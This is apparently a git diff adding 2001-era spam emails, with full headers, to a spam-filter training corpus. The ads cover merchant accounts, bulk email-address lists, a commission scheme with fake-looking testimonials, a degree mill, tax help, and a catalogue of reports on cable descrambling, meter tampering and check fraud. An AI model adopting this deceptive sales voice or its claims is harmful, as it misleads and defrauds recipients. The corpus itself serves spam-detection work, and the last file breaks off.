credit cards including Visa, +MasterCard, American Express and Discover, as well as debit cards, +ATM and check guarantee services. You will have the ability to +accept E-checks over the Internet with a secure server. To insure +that you wont miss a sale, you will be able to accept checks by +Phone or Fax. We can handle ANY business and client type! + +If you already have a merchant account we can lower your rates +substantially with the most competitive rates in the industry and +state of the art equipment and software. We will tailor a program +to fit your budget and you wont pay a premium for this incredible +service! + +If you are a U.S. or Canadian citizen and are interested in finding +out additional information or to speak with one of our reps, reply +to this email and include the following contact information: Your +Name, Phone Number (with Area/Country code), and if possible, a +best time to call. One of our sales reps will get back to you +shortly. Thank you for your time. + + + +If you wish to be removed from our mailing list, please reply to +this email with the subject "Remove" and you will not receive +future emails from our company. + + + diff --git a/bayes/spamham/spam_2/00085.ae2bf18f9dd33e3d80d11eda4c0be41d b/bayes/spamham/spam_2/00085.ae2bf18f9dd33e3d80d11eda4c0be41d new file mode 100644 index 0000000..f7f04c5 --- /dev/null +++ b/bayes/spamham/spam_2/00085.ae2bf18f9dd33e3d80d11eda4c0be41d @@ -0,0 +1,47 @@ +From s4gv10d64vm@aol.com Sat Jul 28 20:47:14 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from mail.ericcohler.com (unknown [63.97.226.68]) by + mail.netnoteinc.com (Postfix) with ESMTP id AC0BD11410E for + ; Sat, 28 Jul 2001 19:47:13 +0000 (Eire) +Received: from jenyb.aol.com [65.160.252.196] by mail.ericcohler.com + (SMTPD32-6.06) id AE70F2002C; Sun, 22 Jul 2001 16:58:24 -0400 +From: s4gv10d64vm@aol.com +To: ykuc4qoy@hotmail.com +Reply-To: cartervarnell4216@excite.com +Subject: Visa ~ MasterCard ~ American Express ~ Etc. [6gho10] +Message-Id: <200107221658955.SM01188@jenyb.aol.com> +Date: Sat, 28 Jul 2001 15:47:13 -0400 + + +Increase your revenues by accepting Credit Cards and Checks! + +Visa ~ MasterCard ~ American Express ~ Check Guarantee ~ Electronic Internet checks + +Increase Sales w/4 Powerful Words !!! +We Accept Credit Cards + +Today, the world of E-business is moving faster everyday. And your customers expect every payment option, or they may take their business elsewhere. And that means lost sales! IF YOU SELL A PRODUCT OR SERVICE YOU NEED A MERCHANT ACCOUNT! Some Internet merchants have seen sales increases as high as 1500%! Offering a wide variety of easy payment options for your customers increases impulse buying and helps sell expensive items. + +Complete E-COMMERCE solutions to accept VISA, MasterCard, American Express and Checks for your website, online store, traditional storefront or home based business. + +for more information please visit our FAQ +http://members.tripod.co.uk/hhs888 +======================== +Or Submit Your Information Via Email +NAME: +PHONENUMBER: +AND BEST TIME TO CALL: +======================== + +Thank you + + + + + + + +To be removed type remove in the subject line + + diff --git a/bayes/spamham/spam_2/00086.5ddcb4859b292c984d1db6aeade5ac04 b/bayes/spamham/spam_2/00086.5ddcb4859b292c984d1db6aeade5ac04 new file mode 100644 index 0000000..64bffe2 --- /dev/null +++ b/bayes/spamham/spam_2/00086.5ddcb4859b292c984d1db6aeade5ac04 @@ -0,0 +1,47 @@ +From pfxljt@aol.com Sat Jul 28 22:01:23 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from mail.ericcohler.com (unknown [63.97.226.68]) by + mail.netnoteinc.com (Postfix) with ESMTP id 7109A11410E for + ; Sat, 28 Jul 2001 21:01:22 +0000 (Eire) +Received: from tmiaw.aol.com [65.160.252.196] by mail.ericcohler.com + (SMTPD32-6.06) id AEE6F4002C; Sun, 22 Jul 2001 17:00:22 -0400 +From: pfxljt@aol.com +To: 6mu4310@hotmail.com +Reply-To: vanheinricher172@excite.com +Subject: Visa ~ MasterCard ~ American Express ~ Etc. [ll4k4] +Message-Id: <200107221700768.SM01188@tmiaw.aol.com> +Date: Sat, 28 Jul 2001 17:01:22 -0400 + + +Increase your revenues by accepting Credit Cards and Checks! + +Visa ~ MasterCard ~ American Express ~ Check Guarantee ~ Electronic Internet checks + +Increase Sales w/4 Powerful Words !!! +We Accept Credit Cards + +Today, the world of E-business is moving faster everyday. And your customers expect every payment option, or they may take their business elsewhere. And that means lost sales! IF YOU SELL A PRODUCT OR SERVICE YOU NEED A MERCHANT ACCOUNT! Some Internet merchants have seen sales increases as high as 1500%! Offering a wide variety of easy payment options for your customers increases impulse buying and helps sell expensive items. + +Complete E-COMMERCE solutions to accept VISA, MasterCard, American Express and Checks for your website, online store, traditional storefront or home based business. + +for more information please visit our FAQ +http://medlem.tripodnet.nu/jja8888 +======================== +Or Submit Your Information Via Email +NAME: +PHONENUMBER: +AND BEST TIME TO CALL: +======================== + +Thank you + + + + + + + +To be removed type remove in the subject line + + diff --git a/bayes/spamham/spam_2/00087.c6bf843edd1028fd09bb46d88bf97699 b/bayes/spamham/spam_2/00087.c6bf843edd1028fd09bb46d88bf97699 new file mode 100644 index 0000000..13d7620 --- /dev/null +++ b/bayes/spamham/spam_2/00087.c6bf843edd1028fd09bb46d88bf97699 @@ -0,0 +1,219 @@ +From tZp4qGK9b@china.com Sun Jul 29 02:53:25 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from areca.wanadoo.fr (smtp-rt-4.wanadoo.fr [193.252.19.156]) by + mail.netnoteinc.com (Postfix) with ESMTP id 0FF7811410E for + ; Sun, 29 Jul 2001 01:53:24 +0000 (Eire) +Received: from andira.wanadoo.fr (193.252.19.152) by areca.wanadoo.fr; + 29 Jul 2001 03:53:22 +0200 +Received: from tito (194.2.146.197) by andira.wanadoo.fr; 29 Jul 2001 + 03:53:01 +0200 +Message-Id: <3b636c923c66fe82@andira.wanadoo.fr> (added by andira.wanadoo.fr) +From: tZp4qGK9b@china.com +To: +Subject: Get Hundreds Of Fresh Leads via email !!! +Date: Sat, 28 Jul 2001 20:50:27 -0700 +X-Priority: 3 +X-Msmail-Priority: Normal + + +Dear Consumers, Increase your Business Sales! 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ORDER WHILE SUPPLIES LAST! +RECEIVE THIS DREAM PACKAGE FOR THE UNBELIEVABLE LOW, LOW PRICE OF +ONLY $100.00 + + +ORDERING INFORMATION: + +Send check are money order to: + +SELLERS COMMUNICATIONS +2714 WEST 5th +North Platte, Ne 69101 +U.S.A. + + +CHECK BY FAX SERVICES OR CREDIT CARO INFO: +O R D E R N O W . . . SAME DAY SERVICE (M-F) if your order +is received before 3pm Central . To place an order, you can call us at: +1-308-534-2098 Are fax your order to 1-208-975-0773 are 1-208-975-0774 + + +This Number is for credit Card Orders Only!!! +CHECK BY FAX SERVICES! + + +__________________________________________ + +To order, via credit card simply cut/paste and print out the +EZ ORDER FORM below and fax to our office today. + + +***** NOW ONLY $100! ***** + +This "Special Price" is in effect for the next seven days, +after that we go back to our regular price of $250.00 ... +Don't delay... you can be in business tomorrow! + +We accept Visa, Mastercard, Amex, Disc and Checks by Fax. + +----------------------Cut & Paste---------------------- +---------------------EZ Order Form--------------------- + +_____Yes! I want everything! I am ordering within 72 hours. +Include my FREE "Business On A Disk" bonus along with your +Millions of E-Mail addresses on CD (plus 1,093,808 bonus addresses) +for the special price of only $100.00 + shipping as indicated +below. + +_____Yes! I missed the 72 hour special, but I am ordering +CD WITH, super clean e-mail addresses within 7 days for the +"special" price of only $250.00 + s&h. + +_____Oop's I missed the 72 hour and 7 day "specials". I am +ordering The Cd at the regular price of $250.00 + s&h. + +***PLEASE SELECT YOUR SHIPPING OPTION*** + +____I would like to receive my package FedEx OVERNIGHT. I am +including $15 for shipping. (Hawaii & Alaska $20 - Canada $25, +all other International add an *additional* $25 [$40 total] for shipping) + +____I would like to receive my package FedEx 2 DAY delivery. +I'm including $10 for shipping. (Sorry no Canada or International +delivery - Continental U.S. shipping addresses only) + +***Please Print Carefully*** + +NOTE: Orders cannot be shipped without complete information +including your signature. No exceptions! + +NAME____________________________________________________ + +COMPANY NAME____________________________________________ + +ADDRESS_________________________________________________ +(FedEx can only ship to street addresses - no P.O. boxes) + +CITY, STATE, ZIP________________________________________ + +PHONE NUMBER____________________________________________ +(required for shipping & tracking) + +EMAIL ADDRESS___________________________________________ +(Print Carefully - required in case we have a question and to +send you a confirmation that your order has been shipped and for +technical support if you order within 24 hrs) + +TYPE OF CREDIT CARD: + +______VISA _____MASTERCARD ______AMEX ______DISC + +CREDIT CARD# __________________________________________ + +EXPIRATION DATE________________________________________ + +NAME ON CARD___________________________________________ + +TOTAL AMOUNT (Including Shipping): $___________________ + +DATE:x__________________ + +(Required) SIGNATURE:x_________________________________ +I understand that I am purchasing the e-mail address on CD, +and authorize the above charge to my credit card, the addresses are not rented, +but are mine to use for my own mailing, over-and-over. Free bonuses are included, +but cannot be considered part of the financial transaction. I understand that it +is my responsibility to comply with any laws applicable to my local area. As with +all software, once opened the CD may not be returned, however, if found defective +it will be replaced with like product at no charge. + +O R D E R N O W . . . SAME DAY SERVICE (M-F) if your order +is received before 3pm Central . To place an order, you can call us at: +1-308-534-2098 Are fax your order to 1-208-975-0773 are 208-975-0774 +This Number is for credit Card Orders Only!!! +CHECK BY FAX SERVICES! + +If you would like to fax a check, paste your check below and fax it to our office +along with the EZ Order Form forms to: 1-208-975-0773 are 208-975-0774 + +********************************************************** + +***24 HOUR FAX SERVICES*** PLEASE PASTE YOUR + +CHECK HERE AND FAX IT TO US AT 1-208-975-0774 +are 208-975-0773 + +********************************************************** + +If You fax a check, there is no need for you to mail the +original. We will draft a new check, with the exact +information from your original check. All checks will be +held for bank clearance. (7-10 days) Make payable to: +"SELLERS COMMUNICATIONS" + + +-=-=-=-=--=-=-=-=-=-=-=Remove Instructions=-=-=-=-=-=-=-=-=-=-=-= + +************************************************************** +Do not reply to this message - +To be removed from future mailings: +mailto:nonono122002@yahoo.com?Subject=Remove +************************************************************** + + + + + + + + + + + + + diff --git a/bayes/spamham/spam_2/00088.34ca147ca21f4b3e966fe58bc054aaf6 b/bayes/spamham/spam_2/00088.34ca147ca21f4b3e966fe58bc054aaf6 new file mode 100644 index 0000000..6f56c58 --- /dev/null +++ b/bayes/spamham/spam_2/00088.34ca147ca21f4b3e966fe58bc054aaf6 @@ -0,0 +1,58 @@ +From coakdj@earthlink.net Tue Jul 31 13:00:50 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from tit2000s.techware.com.tw (unknown [211.22.95.126]) by + mail.netnoteinc.com (Postfix) with ESMTP id 8CD3311410E for + ; Tue, 31 Jul 2001 12:00:47 +0000 (Eire) +Received: from 63.233.151.212 ([63.233.151.212]) by + tit2000s.techware.com.tw with Microsoft SMTPSVC(5.0.2195.1600); + Mon, 30 Jul 2001 14:35:25 +0800 +Message-Id: <000052bc59ce$00004576$00000f1b@> +To: +From: coakdj@earthlink.net +Subject: BIZZ OPP & FREE Vacation 3867 +Date: Sun, 29 Jul 2001 06:39:27 -0400 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-Priority: 3 +X-Msmail-Priority: Normal +X-Originalarrivaltime: 30 Jul 2001 06:35:26.0250 (UTC) FILETIME=[D14FB0A0: + 01C118C1] + + +

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    +    ss1 + + + + + diff --git a/bayes/spamham/spam_2/00089.1235261e1b2063edce03a18d06c11474 b/bayes/spamham/spam_2/00089.1235261e1b2063edce03a18d06c11474 new file mode 100644 index 0000000..6062c04 --- /dev/null +++ b/bayes/spamham/spam_2/00089.1235261e1b2063edce03a18d06c11474 @@ -0,0 +1,123 @@ +From pFn0HWRlO@adelphia.net Sun Jul 29 19:43:23 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from siam.edu (unknown [203.148.206.4]) by mail.netnoteinc.com + (Postfix) with ESMTP id 307B011515A for ; + Sun, 29 Jul 2001 18:43:21 +0000 (Eire) +Received: from 7ll430E1w [208.252.241.234] by siam.edu (SMTPD32-5.05) id + A0BD207301FE; Mon, 30 Jul 2001 01:54:21 +0700 +Date: 29 Jul 01 11:34:44 AM +From: pFn0HWRlO@adelphia.net +Message-Id: <29W4xlE00pvP> +Subject: Hey look at this, I can't believe how cheap this is... +To: undisclosed-recipients:; + + +Educate yourself about everything you ever wanted to know !!! + + + +1. Satellite TV/RCA Dish Descrambler + +Our unique, complete plans for building your own home satellite TV descrambler. For access to a clear reception of pay TV signals on your home satellite dish! It does not require any additional equipment! Complete PC board template & instructions! This also includes a manual for accessing the RCA/DSS satellite dish to receive free pay channels. All the latest information for doing it right. + +2. X-Ray Envelope Spray + +Have you ever wanted to read the contents of an envelope without opening it? Many government and other organizations use what is known as X-Ray Envelope Spray to do this! An envelope is sprayed with this secret chemical and it becomes translucent for a short period of time, which allows the contents to be read without opening. Private supply houses sell small cans of this aerosol spray for up to $50 a can! The spray is actually a commonly available item found in major grocery and discount stores. No modification of the spray is needed, as it is ready to use as X-Ray Envelope Spray and sells for about $1.99 in retail stores! + +3. How to Find Anyone and Obtain Unlisted Phone Numbers + +Tired of getting the wrong number? Stop looking! We can help! We'll show you how to get the unlisted phone number of anyone. No one can hide now! Simple. Skip tracers use these tricks. We also include everything you need to know about finding missing people or loved ones from the comfort of your home. Why pay money when you can do it yourself? + +4. Radar Zapper + +This simply technique converts existing radar detectors into a device that will jam police radar. This device sends false readings back to the police radar! Works on virtually all detectors and easy to use! + +5. Untraceable E-Mail + +How to send totally anonymous and untraceable E-mail. We're not talking about those generic Yahoo! Accounts -- this is the real McCoy, anonymous email. Everything explained. Absolutely untraceable. + +6. Underground Guide to Utility Meters + +The illustrated guide to gas, water & electric meters! We show you in detail methods many people use to stop, slow down, even reverse all three types! This underground manual is one of our most popular items! Complete illustrated techniques and easy to do. Shows how to defeat all major brands & models of gas, water & electric meters. + +7. Scan-Tron Genius + +Here at last!! This very controversial report describes in detail how any student can easily defeat Scan-Tron test readers to pass a test even though he does not know the answer! This simple method will fool the scan reader into thinking you answered correctly! No tools needed. Completely tested. You won't believe how simple this method is! + +8. Bad Credit Cleaning Manual + +Simple ways to restore your bad credit rating to A++. Don't pay a credit counselor good money to do what you can do yourself. Many methods presented here - some legal & some "not so legal". Wipe your slate clean from your own home. Get a fresh start. + +9. Pass Drug Tests + +Don't use of drugs! However, many innocent people are victims of drug testing. Some over the counter medicine can trigger false results & cost you your job. Proven methods to beat drug tests. We show you how to build a simple device that can fool the best! Protect yourself & your job, even if you don't use drugs. + +10.Cable TV Decoders + +How to get cable TV and turn your converter box into "full service" mode. This is the latest and best way to gain access. Also, how to build your own "snooper stopper" for pennies. Prevents cable companies from spying on you. + +11. Free Long Distance + +You can make long distance calls to other countries at no cost! The information in these reports explains everything you need to call other countries! Country codes, city codes, overseas sender codes! Call England, Germany, the UK, practically anywhere! + +12. Dissolving Checks + +We show you in detail the "insufficient funds" checks scam used by people to obtain goods & cash without having any money in the account. Many people do not even use false ID's in pulling this scam off. Complete detailed instructions plus rare information on the famous "dissolving" checks. These checks "dissolve" after being chemically coated & deposited in the bank leaving no trace of the writer or account number. Not for illegal purposes. See how others do it. + +13. Outsmart Lie Detector Tests + +Hundreds of thousands of people in this country are wrongfully fired or not hired simply because they did not pass the lie detector test even though they've done nothing wrong! Read drugless methods to help pass whether you are lying or not! A valuable tool for any job seeker. Don't be harassed by your employer ever again. Tested and proven. + +14. Lock-picks & Lock-picking. + + Why buy expensive lock-picks & pay for rip-off mail order locksmith courses? We'll show you how to make your own professional lock-picks. Exact detailed drawings & construction techniques! This is perhaps the easiest to understand course ever published on this hush-hush subject. You won't believe how easy it is to make these tools! We also show you how a basic lock works & how they are picked. This publication is complete with detailed drawings & illustrations. + +15. Guaranteed Unsecured Credit Cards up to $50,000 Regardless of Bad Credit. + +We can show you how and where you can obtain unsecured Gold and Platinum credit cards with credits limits up to $50,000 per card! Regardless of your past credit history! You are guaranteed to receive at least 2 unsecured credit cards of up to $20,000 through our exclusive list. The secret to getting the credit you deserve is knowing how and where to look! + +* No credit checks! No employment check! +* No credit turndowns! No credit, Bad credit! +* Some with as low as 0% APR for the life of the card! +* Guaranteed approval! + + +ALL IN ONE!!! PREVIOUSLY SOLD FOR HUNDREDS!!! ORDER NOW!!! + +That's 15 products, all for just $19.95 [shipping & handling included]. + +We accept cash, personal checks, money orders and cashiers checks. You must include a + +Primary and secondary E-mail address, as we will be emailing you all the reports as soon as your payment is received. + +Print the following form & mail it to: + +Info 4 Edu Only +1300 N. Cahuenga Blvd # 362 +Los Angeles, CA 90028 + + +Please Print Clearly + +Name: _________________________________________________ + +Primary Email Address: ___________________________________ + +Secondary Email Address: _________________________________ + +Make your check payable to: Info 4 Edu Only + +DISCLAIMER: Please note that this information is being provided for educational purposes only. The information itself is legal, while the usage of such information may be illegal. We do not advocate unauthorized use or theft of any services. If in doubt, check your local laws and act accordingly. +NOTE: All of the publications are Copyright 2001 by Info 4 Edu Only. We aggressively protect our copyrights and will seek prosecution of any website, web-master, web hosting service or anyone else that is in violation of US & International Copyright Laws. + + + + + + + +To be opt out from our future mailing please email optmeoutnow@aol.com with the word remove in the subject line + + + diff --git a/bayes/spamham/spam_2/00090.c82f6c8ce0db12e42a24fb2808974628 b/bayes/spamham/spam_2/00090.c82f6c8ce0db12e42a24fb2808974628 new file mode 100644 index 0000000..6c9cb61 --- /dev/null +++ b/bayes/spamham/spam_2/00090.c82f6c8ce0db12e42a24fb2808974628 @@ -0,0 +1,138 @@ +From TrustedFriend@hotmail.com Sun Jul 29 16:38:01 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from nonline.net (mail.nonline.net [209.162.224.40]) by + mail.netnoteinc.com (Postfix) with ESMTP id BE9FC11410E for + ; Sun, 29 Jul 2001 15:37:56 +0000 (Eire) +Received: (from uucp@localhost) by nonline.net (8.9.3/8.9.3) id LAA82720; + Sun, 29 Jul 2001 11:34:41 -0400 (EDT) +Date: Sun, 29 Jul 2001 11:34:41 -0400 (EDT) +From: TrustedFriend@hotmail.com +Message-Id: <200107291534.LAA82720@nonline.net> +Received: from IP1.centra.worldwithoutwire.com(209.162.229.98), + claiming to be + "exchangeserver1.int.centra-ind.com" + via SMTP by mail.nonline.net, id smtpdV82674; Sun Jul 29 11:34:20 2001 +Received: from mzmms.hotbot.com (ifw.int.centra-ind.com [10.0.0.5]) by + exchangeserver1.int.centra-ind.com with SMTP (Microsoft Exchange Internet + Mail Service Version 5.5.2650.21) id N4MQD0Y3; Sun, 29 Jul 2001 11:24:24 + -0400 +To: dqoiu@netnoteinc.com +Reply-To: r4sm@bigfoot.com +Subject: Incredible $1,000 COMMISSION per Single $0 down SALE! [ztpxx] + + +DID YOU MAKE $5,000 LAST MONTH? IF NOT, + YOU NEED TO JOIN US TODAY! + +========================================= + +This is the REAL DEAL!! Do not delete! Read +entire message. This is NOT "pie in the sky"!! This +is NOT MLM!! It's better than MLM!! This is a +REAL legitimate business with REAL legitimate +products, REAL legitimate income and HUGE residuals. + +========================================= +Market the hottest consumer savings package in +America today and earn up to $1,000 each and +every time someone joins for $0 DOWN! +Imagine being plugged into a proven system +that puts your entire business on auto-pilot and +have you earning $3,000 every week! + + +IT'S TRUE! You can be in business for $0 DOWN! +And you can easily make $3,000 your very first week... +and we'll show you how! Your business will literally +explode overnight when you join our team and plug +into our exclusive marketing system! + + +For more INFO send an e-mail to: mailto:tim1me2@n2mail.com +with in the subject line. + + + * $0 DOWN ! + + * 100% FINANCING - 100% CASH MACHINE + + * EVERYBODY IS A PROSPECT - 98% APPROVED + + * EARN $1,000 ON EVERY A THROUGH F CREDIT SALE! + + * EARN $1,000 ON EACH AND EVERY SALE TO INFINITY! + + +We provide you with all the tools and the absolute +BEST marketing system available on the web, +all resources you will every need - even full tech support!. + +The only thing you need to do is join our team and plug +into our proven system for success today! + +For more INFO send an e-mail to: mailto:tim1me2@n2mail.com +with in the subject line. + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Testimonies: + +This program is so easy, 'with your system I have +made 13 sales first week'. That's $13000' this +is the best program I've done and I've done them all! + +Richard S. Memphis, TN + +I did it all with my computer! People sign up like crazy! +First I said, ok, I am financially totally down, I need to +give this one a try. But after two weeks I am already out of debt! +Oh god, I did not expect that! And I am not a sales person and I +did it! I am so excited, thank you Richard and Mary! + +Randy S. Los Angeles, CA + +I am SPEECHLESS! With your FREE leads, and FREE +unsecured Visa MC, I was able to advertise free +& pay for faxes that got my phone ringing off the +hook! I think I'll have 20 sales this month!!! +I haven't even begun to download all the free +software to make even more MONEY' Thanks guys + +Randy S. Detroit MI + +I was in my chiropractor's office when the secretary +was about to throw out a fax that they had just received. +The fax was similar to this email and caught my eye. +I did exactly what it told me to do (a fax blast) and +in my second day I made $6,000. No hard selling, no +hustling my friends, just friendly people looking at +a great opportunity and wanting in. Even if it took +me a month to make an extra $5,000 I would have been +happy, but $6,000 in my second day, wow! I'm excited. + +Dave W. Newport Beach, CA + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you have been looking for something that is NOT MLM, +is turnkey and very easy to do, then join us now, +This is a truly explosive income opportunity! Sign up 3 people +& earn $3,000! Sign up 10 people & earn $10,000...how much +do you want? This is the easiest sale you will EVER make! + +GET STARTED WITH INCREDIBLE $0 DOWN + START EARNING + +$1,000 COMMISSIONS, YOUR FIRST MONTH! + +All sales wired into your checking account on a daily basis! + +Best Regards, +Robert + +PS: Just put "Remove" in the subject box, to unsubscribe from +this list. Thanks. + + + + diff --git a/bayes/spamham/spam_2/00091.7b4331237cddd30e9fa27b99af25bf3c b/bayes/spamham/spam_2/00091.7b4331237cddd30e9fa27b99af25bf3c new file mode 100644 index 0000000..084d0b5 --- /dev/null +++ b/bayes/spamham/spam_2/00091.7b4331237cddd30e9fa27b99af25bf3c @@ -0,0 +1,60 @@ +From gerrald45@china.com Mon Jul 30 04:23:41 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from ns.ns.arcticsync.com (203-236-237-170.rev.nextel.co.kr + [203.236.237.170]) by mail.netnoteinc.com (Postfix) with ESMTP id + BF06C11410E for ; Mon, 30 Jul 2001 03:23:37 +0000 + (Eire) +Received: from YhHxfD36q (dap-209-166-149-12.pri.tnt-1.pgh.pa.stargate.net + [209.166.149.12]) by ns.ns.arcticsync.com with SMTP (Microsoft Exchange + Internet Mail Service Version 5.5.2653.13) id P77YGVPN; Mon, + 30 Jul 2001 12:10:07 +0900 +Date: 29 Jul 01 11:30:41 PM +From: gerrald45@china.com +Reply-To: alenklc@china.com +Message-Id: +Received: From trappin3zi@azi.com by kir.riir.cn;Sun, 29 Jul 2001 23:30:41 + -400 (EDT) +To: suz1@soho.net +Subject: Don't be dumb*! + + + +This University Degree Program removes the obstacles that cause adults to abandon all hope. + +You may know employers continually hire, promote and reward raises to new employees. They may have ZERO skills or experience, but they are continually promoted just because they have this piece of paper. + +The degree earned by our students enables them to qualify for career advancement and personal growth. This acclamation also breaks down the walls that prevents you from receiving the more fulfillment and proper compensation. + +With our service, you are provided with an official graded transcript. Duplicate transcripts will be filed in the graduate's permanent record with our colleges. + +Degree verification and official transcripts will be provided in writing when requested by employers and others authorized by the graduate. + +Our College and University transcripts meet the highest academic standards. Our University issues a degree printed on a premium diploma paper, bearing the official gold raised college seal. + +Your degree is closer than you think. +No one is turned down. + +Confidentiality is assured, and we are awaiting your call today! + +CALL 1 713 866-6501 + +Call 24 hours a day, 7 days a week, including +Sundays and holidays. + +If you can't call - we can't help you. + +If your phone is currently tied up, please print this page now! + +This advertisement is done by an independent marketing company, so please do not hit reply to the e-mail message. + +If you would like to be removed from our great mailing list: + +removemenow@sohu.com + +and type your e-mail address ONLY in the subject line. + + + + + diff --git a/bayes/spamham/spam_2/00092.ba043c4ba04c2d06714e43caa42cc078 b/bayes/spamham/spam_2/00092.ba043c4ba04c2d06714e43caa42cc078 new file mode 100644 index 0000000..1bbae0e --- /dev/null +++ b/bayes/spamham/spam_2/00092.ba043c4ba04c2d06714e43caa42cc078 @@ -0,0 +1,102 @@ +From computerupdates101@msn.com Mon Jul 30 02:35:03 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from dogma.slashnull.org (dogma.slashnull.org [212.17.35.15]) by + mail.netnoteinc.com (Postfix) with ESMTP id 7A03011410E for + ; Mon, 30 Jul 2001 01:35:02 +0000 (Eire) +Received: from indec-ntserver.indec.com.au (indecp1.lnk.telstra.net + [139.130.51.102]) by dogma.slashnull.org (8.9.3/8.9.3) with ESMTP id + CAA26795 for ; Mon, 30 Jul 2001 02:34:53 +0100 +Date: Mon, 30 Jul 2001 02:34:53 +0100 +From: computerupdates101@msn.com +Message-Id: <200107300134.CAA26795@dogma.slashnull.org> +Received: from 202 (indecp.lnk.telstra.net [139.130.38.75]) by + indec-ntserver.indec.com.au with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.2650.21) id 35KJCMA9; Sat, 28 Jul 2001 17:45:55 +1000 +To: computerupdates101@msn.com +Subject: windows tips + + + +ARE YOU HAVING TROUBLE WITH YOUR COMPUTER? THE PROBLEMS MAY NOT BE WITH YOUR COMPUTER? + +As part of a National Marketing Test, we are offering the most amazing Windows Tips. +Over 60 ways to improve the performance of your computer. (GUARANTEED) +You will gain a better understanding of your computer and Windows 95 - 98SE operating system just by using these amazing tips and tricks. + +With this program and its information you will be able to: + +Increase your computer's resources (Are you at 96%?) +Search for hidden files +Keyboard Shortcuts +Restart your computer faster +Open programs faster +Find better ways to free up memory +New PnP devices +Find the hidden settings for Windows +How to make a Restart Icon +What to do when Windows won't start? +Memory issues +INI versus registry +Changing Logon and Logoff screens +Did you know you could change the name of your "Start" menu? + +THIS IS ONLY A SAMPLE OF WHAT IS AVAILABLE TO YOU WITH THIS PROGRAM. + +During this special promotion we will be offering this amazing program for just $14.95 postage paid. This is less than half of the suggested retail price of $29.99 + +All you will need to run this disk is a Windows based computer and an Internet browser (no need to be connected to the Internet). Sorry no Macintosh version available at this time. + +These are tips and tricks that computer technicians know and now you have all the information available for a low price of only $14.95 postage paid! Software and computer manufacturers don't want you to know these secrets, because they want you to buy their software and/or technology upgrades at very inflated prices. +This investment of only $14.95 truly outweighs the frustration of a poorly working good computer. + +Gain a better understanding of your computer by using these tips. + +ORDER TODAY FOR YOUR COPY OF THIS AMAZING PROGRAM FOR WINDOWS. + +Postage paid. +$14.95 US, $19.95 International (U.S dollars) + +(We accept Cash, Check or Money order) + +Make Checks payable to: +C Chute +PO Box 6337 +Jacksonville, Fl. 32205-9998 + +Please Print Clearly Your Return: + +Name _______________________________________________________________l31__ + +Address _______________________________________________________________ + +City, State, and Zip Code _____________________________________________ + +E-mail Address_________________________________________________________ ........................................................................ + +This program is fully guaranteed. If you are unhappy just return the disk within 30 days +And we will refund your money. + +Copyright 2001 +C Chute +All Rights Reserved + +All REMOVE requests AUTOMATICALLY honored upon receipt. PLEASE understand that any effort to disrupt, close or block this REMOVE account can only result in difficulties for others wanting to be removed from our master mailing list as it will be impossible to take anyone off the list if the remove instruction cannot be received. To be removed from our master mailing list please send an email to 2getoffmylist@start.com.au and place remove in the subject. + +Thank you: +PLEASE FORWARD TO EVERYONE YOU KNOW! +ONE DAY THEY WILL THANK YOU! + + +This mailing is done by an independent marketing co. +We apologize if this message has reached you in error. +Save the Planet, Save the Trees! Advertise With +E-mail. No wasted paper! Delete with +One simple keystroke! Less refuse in our Dumps! + +Make it a great day! + +------------------------------------------------------------------------------------------------------------ + + + diff --git a/bayes/spamham/spam_2/00093.f0f5881aff74fafe925b36649298a0aa b/bayes/spamham/spam_2/00093.f0f5881aff74fafe925b36649298a0aa new file mode 100644 index 0000000..714e470 --- /dev/null +++ b/bayes/spamham/spam_2/00093.f0f5881aff74fafe925b36649298a0aa @@ -0,0 +1,68 @@ +From 6h5saaa3@msn.com Mon Jul 30 02:59:19 2001 +Return-Path: <6h5saaa3@msn.com> +Delivered-To: yyyy@netnoteinc.com +Received: from server.lauralee.com (unknown [63.226.251.178]) by + mail.netnoteinc.com (Postfix) with ESMTP id 6A05911410E for + ; Mon, 30 Jul 2001 01:59:18 +0000 (Eire) +Received: from wfwcq.msn.com (carrollton.greene.k12.il.us + [209.174.133.194]) by server.lauralee.com with SMTP (Microsoft Exchange + Internet Mail Service Version 5.5.2650.21) id 3XBQ3H1V; Sun, + 29 Jul 2001 18:29:49 -0700 +From: 6h5saaa3@msn.com +To: 7keqh5@msn.com +Reply-To: lonniesearchwell341@excite.com +Subject: Do you owe the IRS money? [p5fi3] +Message-Id: <20010730015918.6A05911410E@mail.netnoteinc.com> +Date: Mon, 30 Jul 2001 01:59:18 +0000 (Eire) + + +Have tax problems? Do you owe the IRS money? If your debt is +$10,000 US or more, we can help! Our licensed agents can help +you with both past and present tax debt. We have direct contacts +with the IRS, so once your application is processed we can help +you immediately without further delay. + +Also, as our client we can offer you other services and help with +other problems such as: + +- Tax Preparation +- Audits +- Seizures +- Bank Levies +- Asset Protection +- Audit Reconsideration +- Trust Fund Penalty Defense +- Penalty Appeals +- Penalty Abatement +- Wage Garnishments +.. and more! + +To receive FREE information on tax help, please fill out the +form below and return it to us. There are no obligations, and +supplied information is kept strictly confidential. Please note +that this offer only applies to US citizens. Application +processing may take up to 10 business days. + +********** + +Full Name: +State: +Phone Number: +Time to Call: +Estimated Tax Debt Size: + +********** + +Thank you for your time. + + + +Note: If you wish to receive no further advertisements regarding +this matter or any other, please reply to this e-mail with the +word REMOVE in the subject. + + + + + + diff --git a/bayes/spamham/spam_2/00094.c3a37a3a866ce9583f51293a5e7b6f4e b/bayes/spamham/spam_2/00094.c3a37a3a866ce9583f51293a5e7b6f4e new file mode 100644 index 0000000..4aeefb2 --- /dev/null +++ b/bayes/spamham/spam_2/00094.c3a37a3a866ce9583f51293a5e7b6f4e @@ -0,0 +1,102 @@ +From computerupdates101@msn.com Mon Jul 30 09:02:35 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from dogma.slashnull.org (dogma.slashnull.org [212.17.35.15]) by + mail.netnoteinc.com (Postfix) 